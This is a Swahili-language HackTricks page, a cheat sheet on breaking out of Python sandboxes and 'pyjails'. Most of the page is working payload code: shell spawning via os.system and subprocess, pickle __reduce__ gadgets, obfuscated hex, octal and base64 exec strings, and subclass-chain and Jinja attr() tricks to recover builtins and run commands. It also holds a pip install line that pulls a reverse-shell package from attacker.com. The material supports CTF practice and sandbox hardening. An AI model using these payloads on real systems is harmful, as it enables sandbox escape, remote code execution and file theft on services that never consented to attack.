hacktricks/generic-methodologies-and-resources/python/bypass-python-sandboxes

Kudukua Maboxi ya Python

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Kikundi cha Usalama cha Kujitahidi

{% embed url="https://discord.gg/tryhardsecurity" %}

---

Hizi ni mbinu kadhaa za kudukua ulinzi wa maboxi ya Python na kutekeleza amri za kupita kiasi.

Maktaba za Kutekeleza Amri

Jambo la kwanza unalohitaji kujua ni ikiwa unaweza kutekeleza moja kwa moja nambari na maktaba iliyosha kuingizwa, au ikiwa unaweza kuagiza mojawapo ya maktaba hizi:

os.system("ls")
os.popen("ls").read()
commands.getstatusoutput("ls")
commands.getoutput("ls")
commands.getstatus("file/path")
subprocess.call("ls", shell=True)
subprocess.Popen("ls", shell=True)
pty.spawn("ls")
pty.spawn("/bin/bash")
platform.os.system("ls")
pdb.os.system("ls")

#Import functions to execute commands
importlib.import_module("os").system("ls")
importlib.__import__("os").system("ls")
imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")
imp.os.system("ls")
imp.sys.modules["os"].system("ls")
sys.modules["os"].system("ls")
__import__("os").system("ls")
import os
from os import *

#Other interesting functions
open("/etc/passwd").read()
open('/var/www/html/input', 'w').write('123')

#In Python2.7
execfile('/usr/lib/python2.7/os.py')
system('ls')

Kumbuka kwamba open na read functions zinaweza kuwa na manufaa kusoma faili ndani ya sanduku la python na kuandika namna ya kutekeleza kwa kuzunguka sanduku.

{% hint style="danger" %} Python2 input() function inaruhusu kutekeleza namna ya python kabla ya programu kushindwa. {% endhint %}

Python jaribu kupakia maktaba kutoka kwenye saraka ya sasa kwanza (amri ifuatayo itachapisha mahali ambapo python inapakia moduli kutoka): python3 -c 'import sys; print(sys.path)'

Kuzunguka sanduku la pickle na pakiti za python zilizosakinishwa kwa chaguo-msingi

Pakiti za chaguo-msingi

Unaweza kupata orodha ya pakiti zilizosakinishwa mapema hapa: https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html
Tambua kwamba kutoka kwa pickle unaweza kufanya mazingira ya python kupakia maktaba za aina yoyote zilizosakinishwa kwenye mfumo.
Kwa mfano, pickle ifuatayo, ikipakia, italeta maktaba ya pip kuitumia:

#Note that here we are importing the pip library so the pickle is created correctly
#however, the victim doesn't even need to have the library installed to execute it
#the library is going to be loaded automatically

import pickle, os, base64, pip
class P(object):
def __reduce__(self):
return (pip.main,(["list"],))

print(base64.b64encode(pickle.dumps(P(), protocol=0)))

Kwa habari zaidi kuhusu jinsi pickle inavyofanya kazi angalia hapa: https://checkoway.net/musings/pickle/

Pakiti ya Pip

Mbinu iliyoshirikiwa na @isHaacK

Ikiwa una ufikiaji wa pip au pip.main() unaweza kusakinisha pakiti isiyojulikana na kupata kitanzi cha nyuma kwa kuita:

pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])

Unaweza kupakua pakiti ya kuunda shell ya nyuma hapa. Tafadhali, kumbuka kwamba kabla ya kutumia ni lazima uidondue, badilisha setup.py, na weka anwani yako ya IP kwa ajili ya shell ya nyuma:

{% file src="../../../.gitbook/assets/reverse.tar.gz" %}

{% hint style="info" %} Pakiti hii inaitwa Reverse. Hata hivyo, ilibuniwa kwa makusudi ili wakati unapoondoka kwenye shell ya nyuma, usanidi mwingine utashindwa, hivyo hutaiacha pakiti ya ziada ya python imewekwa kwenye server unapoondoka. {% endhint %}

Kutathmini msimbo wa python

{% hint style="warning" %} Tafadhali kumbuka kwamba exec inaruhusu mistari mingi na ";", lakini eval haifanyi hivyo (angalia operator wa walrus) {% endhint %}

Ikiwa herufi fulani zimepigwa marufuku unaweza kutumia uwakilishi wa hex/octal/B64 kwa ajili ya kipuuzi kizuizi:

exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
eval("__import__('os').system('ls')") #Eval doesn't allow ";"
eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec')) #This way eval accept ";"
__import__('timeit').timeit("__import__('os').system('ls')",number=1)
#One liners that allow new lines and tabs
eval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))

#Octal
exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")
#Hex
exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")
#Base64
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))

Maktaba nyingine zinazoruhusu kutathmini nambari za python

#Pandas
import pandas as pd
df = pd.read_csv("currency-rates.csv")
df.query('@__builtins__.__import__("os").system("ls")')
df.query("@pd.io.common.os.popen('ls').read()")
df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")

# The previous options work but others you might try give the error:
# Only named functions are supported
# Like:
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")

Waendeshaji na mbinu fupi

# walrus operator allows generating variable inside a list
## everything will be executed in order
## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/
[a:=21,a*2]
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"

Kupitisha ulinzi kupitia uandishi wa herufi (UTF-7)

Katika makala hii UFT-7 inatumika kusoma na kutekeleza nambari za python za kiholela ndani ya sanduku la kuonekana:

assert b"+AAo-".decode("utf_7") == "\n"

payload = """
# -*- coding: utf_7 -*-
def f(x):
return x
#+AAo-print(open("/flag.txt").read())
""".lstrip()

Pia niwezekana kuihepa kwa kutumia taratibu nyingine za uendeshaji, k.m. raw_unicode_escape na unicode_escape.

Utekelezaji wa Python bila simu

Ikiwa uko ndani ya gereza la python ambalo halikuruhusu kufanya simu, bado kuna njia za utekelezaji wa kazi za kupindukia, nambari na maagizo.

RCE na mapambo

# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
@exec
@input
class X:
pass

# The previous code is equivalent to:
class X:
pass
X = input(X)
X = exec(X)

# So just send your python code when prompted and it will be executed


# Another approach without calling input:
@eval
@'__import__("os").system("sh")'.format
class _:pass

RCE kuunda vitu na kuzidisha

Ikiwa unaweza kutangaza darasa na kuunda kipengee cha darasa hilo unaweza kuandika/kuzidisha njia tofauti ambazo zinaweza kuzinduliwa bila kulazimika kuziita moja kwa moja.

RCE na madarasa ya desturi

Unaweza kurekebisha baadhi ya njia za darasa (kwa kuzidisha njia za darasa zilizopo au kuunda darasa jipya) ili kufanya zitekeleze mimba ya nambari wakati zinapozinduliwa bila kuziita moja kwa moja.

# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
def __init__(self):
self += "print('Hello from __init__ + __iadd__')"
__iadd__ = exec #Triggered when object is created
def __del__(self):
self -= "print('Hello from __del__ + __isub__')"
__isub__ = exec #Triggered when object is created
__getitem__ = exec #Trigerred with obj[<argument>]
__add__ = exec #Triggered with obj + <argument>

# These lines abuse directly the previous class to get RCE
rce = RCE() #Later we will see how to create objects without calling the constructor
rce["print('Hello from __getitem__')"]
rce + "print('Hello from __add__')"
del rce

# These lines will get RCE when the program is over (exit)
sys.modules["pwnd"] = RCE()
exit()

# Other functions to overwrite
__sub__ (k - 'import os; os.system("sh")')
__mul__ (k * 'import os; os.system("sh")')
__floordiv__ (k // 'import os; os.system("sh")')
__truediv__ (k / 'import os; os.system("sh")')
__mod__ (k % 'import os; os.system("sh")')
__pow__ (k**'import os; os.system("sh")')
__lt__ (k < 'import os; os.system("sh")')
__le__ (k <= 'import os; os.system("sh")')
__eq__ (k == 'import os; os.system("sh")')
__ne__ (k != 'import os; os.system("sh")')
__ge__ (k >= 'import os; os.system("sh")')
__gt__ (k > 'import os; os.system("sh")')
__iadd__ (k += 'import os; os.system("sh")')
__isub__ (k -= 'import os; os.system("sh")')
__imul__ (k *= 'import os; os.system("sh")')
__ifloordiv__ (k //= 'import os; os.system("sh")')
__idiv__ (k /= 'import os; os.system("sh")')
__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
__imod__ (k %= 'import os; os.system("sh")')
__ipow__ (k **= 'import os; os.system("sh")')
__ilshift__ (k<<= 'import os; os.system("sh")')
__irshift__ (k >>= 'import os; os.system("sh")')
__iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')

Kuunda vitu na metaclasses

Jambo muhimu ambalo metaclasses zinaturuhusu kufanya ni kuunda kipengele cha darasa, bila kuita konstrukta moja kwa moja, kwa kutengeneza darasa jipya na darasa lengwa kama metaclass.

# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
# This will define the members of the "subclass"
class Metaclass(type):
__getitem__ = exec # So Sub[string] will execute exec(string)
# Note: Metaclass.__class__ == type

class Sub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclass
pass # Nothing special to do

Sub['import os; os.system("sh")']

## You can also use the tricks from the previous section to get RCE with this object

Kuunda vitu na mizunguko

Wakati kosa linapozinduliwa kipengee cha Kosa kinakuwa kimeundwa bila wewe kulazimika kuita konstrukta moja kwa moja (mbinu kutoka kwa @_nag0mez):

class RCE(Exception):
def __init__(self):
self += 'import os; os.system("sh")'
__iadd__ = exec #Triggered when object is created
raise RCE #Generate RCE object


# RCE with __add__ overloading and try/except + raise generated object
class Klecko(Exception):
__add__ = exec

try:
raise Klecko
except Klecko as k:
k + 'import os; os.system("sh")' #RCE abusing __add__

## You can also use the tricks from the previous section to get RCE with this object

Zaidi ya Uwezekano wa Kudhibiti Kijijini (RCE)

# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
# If sys is imported, you can sys.excepthook and trigger it by triggering an error
class X:
def __init__(self, a, b, c):
self += "os.system('sh')"
__iadd__ = exec
sys.excepthook = X
1/0 #Trigger it

# From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py
# The interpreter will try to import an apt-specific module to potentially
# report an error in ubuntu-provided modules.
# Therefore the __import__ functions are overwritten with our RCE
class X():
def __init__(self, a, b, c, d, e):
self += "print(open('flag').read())"
__iadd__ = eval
__builtins__.__import__ = X
{}[1337]

Soma faili kwa msaada wa builtins na leseni

__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__.help
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
pass

Zilizojengwa

• Kazi za zilizojengwa za python2
• Kazi za zilizojengwa za python3

Ikiwa unaweza kupata __builtins__ kifaa unaweza kuingiza maktaba (tambua kwamba unaweza pia kutumia hapa mwakilishi mwingine wa herufi ulioonyeshwa katika sehemu ya mwisho):

__builtins__.__import__("os").system("ls")
__builtins__.__dict__['__import__']("os").system("ls")

Hakuna Builtins

Wakati huna __builtins__ huwezi kuimport chochote wala kusoma au kuandika faili kwani funksheni zote za kimataifa (kama vile open, import, print...) hazijapakiwa.
Hata hivyo, kwa chaguo-msingi python huimport moduli nyingi kwenye kumbukumbu. Moduli hizi zinaweza kuonekana kuwa salama, lakini baadhi yao pia huimporta funksheni hatari ndani yao ambazo zinaweza kupatikana ili kupata hata utekelezaji wa nambari ya kiholela.

Katika mifano ifuatayo unaweza kuona jinsi ya kutumia vibaya baadhi ya moduli hizi "salama" zilizopakiwa ili kupata funksheni hatari ndani yao.

Python2

#Try to reload __builtins__
reload(__builtins__)
import __builtin__

# Read recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
# Write recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')

# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')
# Execute (another method)
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")

# Or you could obtain the builtins from a defined function
get_flag.__globals__['__builtins__']['__import__']("os").system("ls")

Python3

Kizuizi cha Python

Kizuizi cha Python ni mbinu ambayo inaweza kutumika kuzuia au kudhibiti upatikanaji wa vitu vya Python kama vile moduli, vipengele, au kazi. Kizuizi hiki kinaweza kudhibitiwa kwa kutumia mbinu za kudhibiti upatikanaji wa vitu vya Python kama vile kuzuia upatikanaji wa vipengele vya hatari au kuzuia upatikanaji wa faili za mfumo.

Kupuuza Kizuizi cha Python

Kupuuza kizuizi cha Python kunahusisha kutafuta njia za kuzunguka au kudhibiti kizuizi hicho ili kupata upatikanaji usioidhinishwa au kufanya vitendo visivyoruhusiwa. Hii inaweza kufanyika kwa kutumia mbinu za kubadilisha mazingira ya kufanya kazi ya Python au kwa kutumia mbinu za kudanganya kizuizi hicho.

# Obtain builtins from a globally defined function
# https://docs.python.org/3/library/functions.html
help.__call__.__builtins__ # or __globals__
license.__call__.__builtins__ # or __globals__
credits.__call__.__builtins__ # or __globals__
print.__self__
dir.__self__
globals.__self__
len.__self__
__build_class__.__self__

# Obtain the builtins from a defined function
get_flag.__globals__['__builtins__']

# Get builtins from loaded classes
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]

Chini kuna kazi kubwa ya kupata tens/hundreds ya mahali ambapo unaweza kupata builtins.

Python2 na Python3

# Recover __builtins__ and make everything easier
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
__builtins__["__import__"]('os').system('ls')

Mzigo wa kujengwa wa kujengwa

# Possible payloads once you have found the builtins
__builtins__["open"]("/etc/passwd").read()
__builtins__["__import__"]("os").system("ls")
# There are lots of other payloads that can be abused to execute commands
# See them below

Globals na locals

Kuangalia globals na locals ni njia nzuri ya kujua unaweza kupata nini.

>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}
>>> locals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'attr': <module 'attr' from '/usr/local/lib/python3.9/site-packages/attr.py'>, 'a': <class 'importlib.abc.Finder'>, 'b': <class 'importlib.abc.MetaPathFinder'>, 'c': <class 'str'>, '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', <class 'DeprecationWarning'>, 1): True}, 'z': <class 'str'>}

# Obtain globals from a defined function
get_flag.__globals__

# Obtain globals from an object of a class
class_obj.__init__.__globals__

# Obtaining globals directly from loaded classes
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x) ]
[<class 'function'>]

# Obtaining globals from __init__ of loaded classes
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x.__init__) ]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
# Without the use of the dir() function
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[<class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'reprlib.Repr'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'rlcompleter.Completer'>, <class 'dis.Bytecode'>, <class 'string.Template'>, <class 'cmd.Cmd'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'bdb.Bdb'>, <class 'bdb.Breakpoint'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class '__future__._Feature'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]

Hapa chini kuna kazi kubwa ya kupata tens/hundreds ya maeneo ambapo unaweza kupata globals.

Kugundua Utekelezaji wa Kiholela

Hapa nataka kueleza jinsi ya kugundua kwa urahisi kazi hatari zaidi zilizopakiwa na kupendekeza mbinu za kudanganya zaidi.

Kupata Darasa za Kufikia kwa Kupita

Moja ya sehemu nyeti zaidi ya mbinu hii ni kuweza kupata darasa za msingi. Katika mifano iliyopita hii ilifanywa kwa kutumia ''.__class__.__base__.__subclasses__() lakini kuna njia zingine zinazowezekana:

#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
[].__class__.__base__.__subclasses__()
{}.__class__.__base__.__subclasses__()
().__class__.__base__.__subclasses__()
(1).__class__.__base__.__subclasses__()
bool.__class__.__base__.__subclasses__()
print.__class__.__base__.__subclasses__()
open.__class__.__base__.__subclasses__()
defined_func.__class__.__base__.__subclasses__()

#You can also access it without "__base__" or "__class__"
# You can apply the previous technique also here
"".__class__.__bases__[0].__subclasses__()
"".__class__.__mro__[1].__subclasses__()
"".__getattribute__("__class__").mro()[1].__subclasses__()
"".__getattribute__("__class__").__base__.__subclasses__()

# This can be useful in case it is not possible to make calls (therefore using decorators)
().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__["breakpoint"]() # From https://github.com/salvatore-abello/python-ctf-cheatsheet/tree/main/pyjails#no-builtins-no-mro-single-exec

#If attr is present you can access everything as a string
# This is common in Django (and Jinja) environments
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()

Kupata maktaba hatari zilizopakiwa

Kwa mfano, kwa kujua kwamba na maktaba sys ni inawezekana kuagiza maktaba za aina yoyote, unaweza kutafuta moduli zote zilizopakiwa ambazo zimeagiza sys ndani yao:

[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']

Kuna mengi, na tunahitaji moja tu kutekeleza amri:

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")

Tunaweza kufanya kitu sawa na maktaba zingine ambazo tunajua zinaweza kutumika kutekeleza amri:

#os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" == x.__init__.__globals__["__name__"] ][0]["system"]("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'os." in str(x) ][0]['system']('ls')

#subprocess
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "subprocess" == x.__init__.__globals__["__name__"] ][0]["Popen"]("ls")
[ x for x in ''.__class__.__base__.__subclasses__() if "'subprocess." in str(x) ][0]['Popen']('ls')
[ x for x in ''.__class__.__base__.__subclasses__() if x.__name__ == 'Popen' ][0]('ls')

#builtins
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "__bultins__" in x.__init__.__globals__ ]
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"].__import__("os").system("ls")

#sys
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"].system("ls")

#commands (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "commands" in x.__init__.__globals__ ][0]["commands"].getoutput("ls")

#pty (not very common)
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pty" in x.__init__.__globals__ ][0]["pty"].spawn("ls")

#importlib
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "importlib" in x.__init__.__globals__ ][0]["importlib"].__import__("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].import_module("os").system("ls")
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'imp." in str(x) ][0]["importlib"].__import__("os").system("ls")

#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")

Zaidi ya hayo, tunaweza hata kutafuta ni moduli zipi zinazopakia maktaba za kudhuru:

bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
for b in bad_libraries_names:
vuln_libs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and b in x.__init__.__globals__ ]
print(f"{b}: {', '.join(vuln_libs)}")

"""
os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations
commands:
subprocess: BaseDependency, Origin, Version, Package
pty:
importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path
imp:
